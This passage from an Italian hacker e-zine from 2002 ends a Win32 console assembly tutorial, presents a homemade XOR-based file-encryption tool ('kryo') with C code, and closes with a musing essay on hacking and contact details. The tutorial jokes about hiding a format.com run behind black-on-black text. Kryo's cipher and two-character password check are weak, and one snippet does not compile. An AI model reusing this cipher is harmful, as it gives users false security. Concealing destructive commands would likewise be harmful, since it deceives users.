FOREGROUND_RED //indovinate... | | BACKGROUND_BLUE //sfondo del testo blu | | BACKGROUND_GREEN | | BACKGROUND_RED | | FOREGROUND_INTENSITY | | BACKGROUND_INTENSITY | | Queste ultime due costanti praticamente impostano l'intensità del | | colore, la sua "brillantezza". Ad esempio, se combino (tramite | | l'operatore OR) FOREGROUND_BLUE, FOREGROUND_RED e FOREGROUND_GREEN | | ottengo il testo di colore "bianco sporco", mentre se combino anche | | FOREGROUND_INTENSITY ottengo un bianco "puro" come quello normale della | | console del DOS. Il numero di colori ottenibili è quindi 16. Lo stesso | | discorso vale per le costanti che definiscono il colore di sfondo. | | Altro esempio: FOREGROUND_GREEN (or) BACKGROUND_RED farà sì che i | | prossimi caratteri appaiano in verde su sfondo rosso. Ogni volta che | | volete cambiare il colore del testo o dello sfondo dovete usare questa | | funzione prima di usare la funzione WriteFile (o WriteConsole). Se come | | secondo parametro passate 0, ovviamente otterrete testo nero su sfondo | | nero (perfettamente illeggibile quindi, se poi volete lanciare un | | format.com nessuno si accorgerà di niente :). L'impostazione DOS | | predefinita è FOREGROUND_RED FOREGROUND_GREEN FOREGROUND_BLUE FOREGROU | | ALTRE UTILI FUNZIONI | | Sotto Windows, avete la possibilità, quando lanciate il vostro | | programma, di cambiare il titolo (il caption) della finestra che | | contiene la console (ovviamente se non siete in modalità tutto | | schermo). Per fare questo, è sufficiente che usiate la funzione | | SetConsoleTitle, definita come segue: | | BOOL SetConsoleTitle( | | LPCTSTR lpConsoleTitle // address of new title | | ); | | l'unico parametro è ovviamente il puntatore al buffer che contiene il | | nuovo titolo (la fine della stringa deve essere determinata da un | | carattere nullo). Se avete necessità di leggere quale è il caption | | della finestra della console, potete usare la | | complementare GetConsoleTitle: | | DWORD GetConsoleTitle( | | LPTSTR lpConsoleTitle, // address of buffer for title | | DWORD nSize // size of the buffer | | ); | | il primo parametro è il puntatore al buffer che conterrà il caption | | corrente della finestra, il secondo è la dimensione di tale buffer. | | Ovviamente il buffer deve essere sufficientemente grande per contenere | | quello che potrà essere il caption della finestra della console, | | altrimenti nel buffer vi beccherete solo i primi nSize caratteri (-1 | | che è il terminatore). | | ESEMPIO | | Trovate allegato un semplicissimo e banale programma di esempio di come | | operare sulla console | | Ne ho allegate 2 versioni: una per tasm e una per nasm | | Per compilare quella per tasm (consolet.asm), fate un | | tasm32 -ml -m5 -q consolet.asm | | tlink32 -Tpe -ap -x -c consolet ,,, import32 | | I sorgenti sono per TASM 5.0. | | Per compilare quelle per nasm (consolen.asm), fate un | | nasmw -f win32 consolen.asm | | alink -oPE -subsys con consolen.obj -entry main win32.lib | | la win32.lib la trovate sul sito dell'alink. | | Questi sorgenti sono stati testati con nasm 0.98 | | NOTE FINALI: | | Se siete sotto WinNT e non dichiarate per esempio extern | | SetConsoleTitleA ma solo extern SetConsoleTitle, il compilatore non vi | | darà problemi, ma visto che NT usa UNICODE nativamente e voi usate | | stringhe ANSI, il programma probabilmente crasherà (almeno a me succede | | così) riportando una violazione di accesso... ricordatevi quindi quella | | A finale (la A indica il punto di accesso ANSI, la W UNICODE... se | | passate la A, il computer probabilmente converte lui le vostre stringhe | | e poi vi chiama lui la W, ma è solo una mia ipotesi). Ah, ovviamente | | segnalatemi tutti gli errori, le imprecisioni fatte o le precisazioni | | omesse. :) | | | | RINGRAZIAMENTI: | | Doveroso ringraziamento ad Albe ad itassembly | | (http://itassembly.cjb.net), Ritz, TheMR, Andreageddon, ded, Gi0, | | olacsys, pbdz (dai che prima o poi riuscirai a battermi a DeathMatch | | classic :P), Quake2^AM, Spider, Master^Shadow, chr, case, e anche | | Que[Zzz] e tutti gli altri di cui mi sono dimenticato dei canali #asm e | | #crack-it su azzurranet! | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/2002 | | KRY0 [lesion] 0x21/0x23 | +--------------------------------------------------------------------------+ | | | /*********/ | | /* intro */ | | /*********/ | | | | ma lesion coda sempre? si si +autismo da coding. | | mi spiaceva nn scrivere niente x questo numba di oq e cosi' eccome qui a | | riempirvi i neuroni di roba assolutamente inutile (ma anke no). | | Il punto e' la paranoia. | | Dovete essere paranoici per dio, e' quasi un dovere oggi come oggi, dove | | la maggior parte dei finti diritti che finora ci hanno fatto credere di | | avere, ci vengono esclusi gia' a priori.si, e' per il nostro bene.si e' | | visto come hanno evitato quelle cose ke nn si sa' come mai, ora sembra | | siano andate a favore loro. | | la libera comunicazione.possibile ke nn posso scrivere qlcsa ke vogliono | | sapere ki l'ha scritto, o almeno qlcno su cui scaricare la colpa? | | direttore responsabile...ma per dio...dove arriveremo cazzo!! | | possibile ke nn posso mandare un'email ke devo fare attenzione a quello | | ke scrivo perke' il giorno dopo potrei trovarmi degli uomini minacciosi | | in divisa in casa?secondo me no..... | | da qui l'idea di creare piccoli ma utili tools per passarsi informazioni | | in modo sicuro (ma forse no :P ) | | ovviamente nn saranno gli unici nel mondo, pero' se li scrivo io, sono | | sicuro di quello ke uso almeno (si ok gpg ecc.. nn mi rompete il | | cazzo... volevo farli ok?) | | il mio autismo continua imperterrito, se qlcno si vuole unire, son qui | | ke l'aspetto. | | beta tester, programmatori, curiosi, sbirri, filosofi, son qui...... | | quello ke vi mostro qui e' kryo, un piccolo tool ke ho fatto quasi un | | anno fa' solo per smanettare un po'.poi ho visto ke mi e' tornato utile, | | cosi' lo ho rimodernato (e continuero' a farlo sotto consigli e altro) | | per soddisfare le esigenze di tutti. | | good autism | | | | | | /***************/ | | /* what's kryo */ | | /***************/ | | | | kryo e' un piccolo tool ke serve per criptare files. | | qualsiasi tipo di file.binari e non. | | ki li cripta utilizza in password per farlo, e quindi sara' possibile | | leggere il file originale solamente in possesso della password stessa, | | oppure con un bel po' di culo.ovvio ke se scegliete password di 2 chars | | siete proprio stronzi. | | | | | | /******************/ | | /* how to install */ | | /******************/ | | | | decomprimete il tgz ke troverete in allegato con un banale: | | tar -xvzf kryo.tgz | | | | poi un normale: | | make | | ke vi compilera' il pakketto e vi lascera' il binario nella dir corrente | | con il nome di kryo gia' pronto per l'uso. | | se volete installarlo sul sistema su cui siete (con tanto di man), basta | | un: | | make install | | da root. | | il man lo mette in /usr/share/man/man1 , credo sia ok per la maggior | | parte delle distro. forse per i *bsd no, ma forse per i *bsd nn compila | | nemmeno. scusate diavoletti, ma nn codo ankora per voi :( | | | | | | /****************/ | | /* how to use */ | | /****************/ | | | | l'uso e' semplice, ho fatto anke l'opzione -h (type kryo -h), e se | | proprio siete tardi c'e' pure il man, con tanto di esempi. | | cmq l'essenziale e': | | | | kryo -c file pass out | | | | dove -c indica ke volete criptare, file e' il file da criptare, pass e' | | la pass ke volete usare, e out il file dove verra' depositata tutta la | | merdazza criptata.il file originale NON viene cancellato ne' modificato, | | quindi se usate kryo per criptare ad esempio file di configurazione, e' | | inutile criptare il file e poi tenerlo li' in bella vista. +ttosto | | fatevi uno scriptino ke pensa a fare tutto da solo. | | per decriptare il file out quindi: | | | | kryo -d out pass file | | | | | | /****************************/ | | /* how kryo crypt the files */ | | /****************************/ | | | | void cod(char *stringa, char *key,unsigned int stringalen){ | | int i,keylen; | | strcpy(key,(char *)crypt(key,"ab")); | | keylen=strlen(key); | | for(i=0;i<=stringalen;i++) | | stringa[i]=(stringa[i]^key[i%keylen])+30; | | } | | | | questa la funzione per criptare. | | sostanzialmente rikiede 3 argomenti, la stringa da criptare, la pass con | | cui criptarla e la lunghezza della stringa. | | la stringa criptata sara' posizionata dentro il primo argomento. | | notate ke la key cambia ogni volta ke rikiamiamo questa funzione: | | | | strcpy(key,(char *)crypt(key,"ab")); | | | | praticamente la kiave (passatagli dalla main) ogni volta e' il DES di se | | stessa. per + info man crypt. | | questo significa ke ogni stringa ke viene criptata, lo fa' con una kiave | | differente, ke e' il risultato della crypt della kiave di prima. questo | | perke' nn ci sia alcuna corrispondenza tra il testo criptato e la kiave | | stessa. poi abbiamo in ciclo ke scorre tutti i chars della stringa da | | criptare. passando da uno all'altro li cripta cosi': | | | | stringa[i]=(stringa[i]^key[i%keylen])+30; | | | | praticamente, il chars dove siamo arrivati, diventa il risultato dello | | xor tra il char stesso, e il carattere della key derivante dal modulo | | della divisione tra in chars dove siamo e la lunghezza della key. | | e' stronzo da dire ma in realta' e' una cazzata. | | in sostanza usiamo il modulo (ke e' il resto di una divisione %) perke' | | quasi sempre il testo da criptare sara' + lungo della password stessa e | | quindi torniamo indietro. | | se nn sapete cos'e' lo xor (e cio' e' male) eccovi la tabella di verita' | | di questo operatore: | | | | A B ^ | | 1 1 0 | | 1 0 1 | | 0 1 0 | | 0 0 1 | | | | lo xor e' vero quando gli xorandi (si dice cosi'?) sono differenti, | | sarebbe un (A AND (NOT B)) OR (B AND (NOT A)). | | il motivo del +30 sinceramente nn lo ricordo, ma se lo ho messo ci sara' | | stata una motivazione sicuramente valida :) | | nn credo ke ci sia paura ke si vada oltre il range, anke per i binari, | | al max torna indietro credo, cmq ho fatto un po' di test e sembra | | andare. lo so' ke nn si puo' codare cosi' a muzzo, pero' nn ho time per | | approfondire la cosa. | | se volete farlo voi, solo bacetti... :) | | | | | | /**********************************/ | | /* how kryo control the password */ | | /**********************************/ | | | | e' banale ma funzionale. | | 2 funzioni, la check ke restituisce un hash di 2 chars della kiave | | passatagli come argomento, e docheck, ke restituisce 1 se i 2 chars | | passategli come primo argomento equivalgono al check della pass ke gli | | viene passata come secondo. | | | | char *check(char *key){ | | int i; | | char *str; | | | | //questa malloc la freeamo dentro il main... | | str=(char *)malloc(4); | | | | //lo so' ke c'e' bzero e calloc...don't break my ball | | str[0]=str[1]=str[2]='\0'; | | | | //mette dentro il primo carattere lo xor di tutti i chars di meta' | | //key | | for (i=0;i<strlen(key)/2;i++) | | str[0]=str[0]^key[i]; | | | | //e dentro l'altro char l'altra meta' | | for (;i<strlen(key);i++) | | str[1]=str[1]^key[i]; | | | | //se lo xor casualmente viene null, mette un banale spazio (i 2 | | //chars devono esistere in qualsiasi caso... | | if (str[0]=='\0') str[0]=' '; | | if (str[1]=='\0') str[1]=' '; | | return str; | | } | | | | questi 2 chars vengono messi all'inizio del file criptato, e controllati | | al momento della decriptazione con la docheck: | | | | int docheck(char *c,char *key){ | | int i; | | char *ck; | | | | //calcola il check della key | | ck=check(key); | | | | //e se equivale al primo argomento (ovvero ai primi 2 chars del | | file) | | //ritorna 1 | | if (!strcmp(c,ck){ | | free(ck); | | return 1; | | } | | free(ck); | | | | //altrimenti 0 | | return 0; | | } | | | | | | lo so' ke l'hash nn e' univoco, ovvio ke esiste uno stesso hash per | | password diverse, ma cio' nn comporta ke il file sia in pericolo, perke' | | verrebbe decriptata in caso si usi una pass con hash uguale ma diversa | | da quella originale, solo della merdazza. | | questo metodo cosi' banale potrebbe pero' portare ad una velocizzazione | | drastica di un brute-force, ke porterebbe ad escludere tutte le pass ke | | nn abbiano un hash equivalente ai 2 chars del file criptato. | | in sostanza, la pass DEVE ESSERE STRONZA!! | | consigli sono ben accetti per imbastardire maggiormente il tutto. | | | | | | /*******/ | | /* end */ | | /*******/ | | | | bacetti a tutti gli autistici, i paranoici e alle persone ke credono ke | | un mondo migliore possa esistere. | | +baci a: ginox, ciaby, ele, reef, bakunin, zapa, boikotta, bort, pirloz, | | tutti i timidoni dell'oq staff, bomboclat, c1cc10, tele, ziky, Buzz, | | otta e tutti quelli ke mi dimentico ke saranno sicuramente tantissimi, | | bacetti anke a voi. | | lesion@autistici.org | | Autodifesa e liberazione, non vendetta e sostituzione dei poteri. | | +paranoia | | byz lesion | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [SHUTD0WN] #05 - 14/01/2002 | | DiVAGAZi0Ni N0TTURNE [Malkavian] 0x22/0x23 | +--------------------------------------------------------------------------+ | | | In questa notte di novembre mi lascio andare alle divagazioni di una | | mente speculativa, riguardo l'utilita di certe cose che siamo, chissa' | | perche', portati a fare... | | Vi e' mai capitato, gentili lettori, di provare ad hackerare la vostra | | vita? | | Farla a pezzi per poi ricucirla con minuziosita', smontarla per guardare | | cosa c'e' dentro, e poi valutare se e' il caso di ricomporla oppure | | lasciarla li', non piu' utile all'armonia dell'universo, ma solo a se | | stessa... | | Beh...devo dirvi che questo a me capita spesso e penso che molti di | | voi abbiano fatto lo stesso "errore": esaminare pezzo per pezzo la | | propria esistenza senza riuscire a giustificarne nemmeno una piccola | | parte, senza trovare i motivi che di volta in volta ci spingono a | | compiere un'azione. Ad esempio: | | perche' io voglio hackerare un server? Oppure perche' io voglio usare il | | computer per scrivere un pezzo per ondaquadra? Una mente razionale puo' | | benissimo pensare di riuscire a vivere anche senza fare queste cose e si | | puo' arrivare a teorizzare la loro inutilita' ai fini della nostra | | esistenza. Infatti io potrei benissimo non hackerare: ci sono molte | | persone che non lo fanno e stanno benissimo. | | Invece potrei passare la serata davanti al camino a fare la maglia e | | potrei anche provare molta soddisfazione nel farlo:)) Questo indica la | | non necessarieta' di compiere hackeraggi, o di tutte le altre attivita' | | che compiamo ogni giorno, tranne ovviamente mangiare, dormire e...:) | | Ci si potrebbe anche convincere che un hacker e' soltanto una persona | | sola davanti a una tastiera, che si ammazza gli occhi solo per | | perseguire un obiettivo etereo e inesistente: programmare in un | | linguaggio "virtuale", creato dall'uomo e fatto di tante piccole | | entita', i bit, che nemmeno esistono o sono tangibili...oppure penetrare | | in qualcosa che esiste solo virtualmente, come un server, un programma | | che gira su un computer remoto... | | hihi...gia' sento le voci dei lettori che pensano che la follia si sia | | impadronita di me...ebbene signori e' cosi', sono divenuto folle, dove | | per "folle" intendo "privo di marcia ingranata":P Priva di limiti | | imposti la mia mente e' libera di correre in giro, qua e la', per | | dimostrare che cio' che sembra razionale puo' diventare assurdo nel giro | | di un secondo, e che cio' che non avremmo mai pensato tutto d'un tratto | | sembra essere sempre piu' veritiero... | | Forse questo e' solo un attacco di pazzia, da cui spero presto di | | svegliarmi... | | Chi conosce i Malkavian sa delle loro improvvise alienazioni, dei loro | | attacchi di follia, della loro imprevedibilita':) | | E lo sa anche jey che aspetta questo articolo da giorni e giorni... | | chissa' quanti accidenti mi ha lanciato hihihi (chiedo venia!). | | Allora, a parte la divagazione, ritorniamo al nostro folle discorso, | | che ci serve per dimostrare...non lo so ancora...non ho programmato dove | | ci porteranno queste parole...si vedra'...direi che non sono nemmeno io | | che scrivo le parole, ma che sono le parole che scrivono me:) Sono loro | | che vengono da sole, entrano nella mia testa e PRETENDONO di essere | | scritte...ma guarda un po' che impertinenti!!!:) | | Adesso, per esempio, mi sta venendo in mente che forse le nostre azioni | | prese per isolate possono perdere di significato, un po' come i pezzi | | del pc: | | presi da soli non servono a niente, ma assemblati insieme divengono | | qualcosa che ci permette di fare cose portentose...Ed allora ecco che il | | nostro scrivere un articolo per divulgare quel poco che si conosce | | sull'hacking, oppure cercare di programmare in un qualsiasi linguaggio, | | possono, se guardati piu' "da lontano" ed in prospettiva, assumere un | | significato enorme: questi piccoli gesti, apparentemente insignificanti | | nell'equilibrio dell'universo, possono essere visti come espansioni | | della nostra essenza, che si dipana in essi e mostra la sua potenza e la | | sua bellezza. | | Infatti si sa ormai che l'essere non e' in quanto tale, ma esiste in | | rapporto ad altre essenze: non esiste nulla di assoluto e tutto e' | | relativo, come piace dire al mio amico Albert :) Quindi ogni essere ha | | bisogno di interagire con le altre forme di energia presenti | | nell'universo, se non altro per esistere egli stesso... | | [come e' possibile intuire io ho una mia visione particolare anche di | | dio, non inteso piu' come puro bene, contrapposto al cattivo diavoluccio | | che ci tenta ogni giorno, ma credo semplicemente in un'energia che | | permea tutto l'universo e che non e' malvagia, ne' buona, ma si limita | | ad esistere ed a permeare tutte le forme viventi e non viventi, noi | | stessi in quest'ottica siamo divini, cosi' come tutte le altre creature | | che popolano l'universo. La differenza sta nell'essere consapevoli o | | meno di cio' che si e'...mah...questo e' un altro discorso...] | | Torniamo a noialtri: di nuovo tutte le cose tornano a quadrare nel | | posto giusto...ogni attivita', dalla piu' importante alla piu' | | (apparentemente) futile, torna ad acquistare significato come emanazione | | del mio essere, come manifestazione di quello che sono... | | Non so se tra voi ci sono persone che si mettono, come me, continuamente | | in crisi (il che non e' negativo perche' la crisi e il dubbio fanno | | elevare se stessi), ma se ci sono, sapranno sicuramente il senso di | | smarrimento che coglie chi mette in un battibaleno in dubbio tutta la | | sua vita e le sue azioni...Che gioia averne trovato un senso qui, | | insieme a voi, pur precario che sia... | | ...almeno quando andro' in galera per aver commesso un errore | | nell'hackerare, potro' dire che quell'errore e' stata una manifestazione | | del mio essere rincoglionito:)) | | Beh, che dire...nessuno e' perfetto... | | Che ore si sono fatte? Mmmmh sono esattamente le 01:00 AM per cui mi | | sembra lecito e doveroso concedere riposo alle mie stanche membra...e' | | ora di tornare nella mia cripta e aspettare che un nuovo giorno | | cominci...per cui pronuncio la magica formula che chiudera' | | quest'articolo: shutdown -h now !!! | | | | PS: rimembro a voi tutti che prima di scrivere questo delirante | | articolo, che non so nemmeno io perche' sia stato scritto (forse solo | | per degli smanettamenti mentali), non ho assunto alcuna sostanza | | stupefacente, tranne una pera mangiata assieme a del pecorino sardo... | | hihihi! Difatti l'alcol o altro potrebbero rendermi piu' normale di | | quello che sono...eheh | | Scherzi a parte, a presto su un nuovo numero di Ondaquadra (I hope you | | have enjoyed this number...:) ) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0NTATTi] #05 - 14/01/2002 | | D0VE TR0VARCi [oq ~ staff] 0x23/0x23 | +--------------------------------------------------------------------------+ | | | WEB: | | http://ondaquadra.cjb.net | | | | MAiL: | | mail@ondaquadra.cjb.net | | | | GLi ARTiC0Li MANDATELi QUi: | | articoli@ondaquadra.cjb.net | | | | iRC - iNTERNET RELAY CHAT: | | /server irc.azzurra.org 6667 | | /join #ondaquadra | | /join #hackmaniaci | | | +--------------------------------------------------------------------------+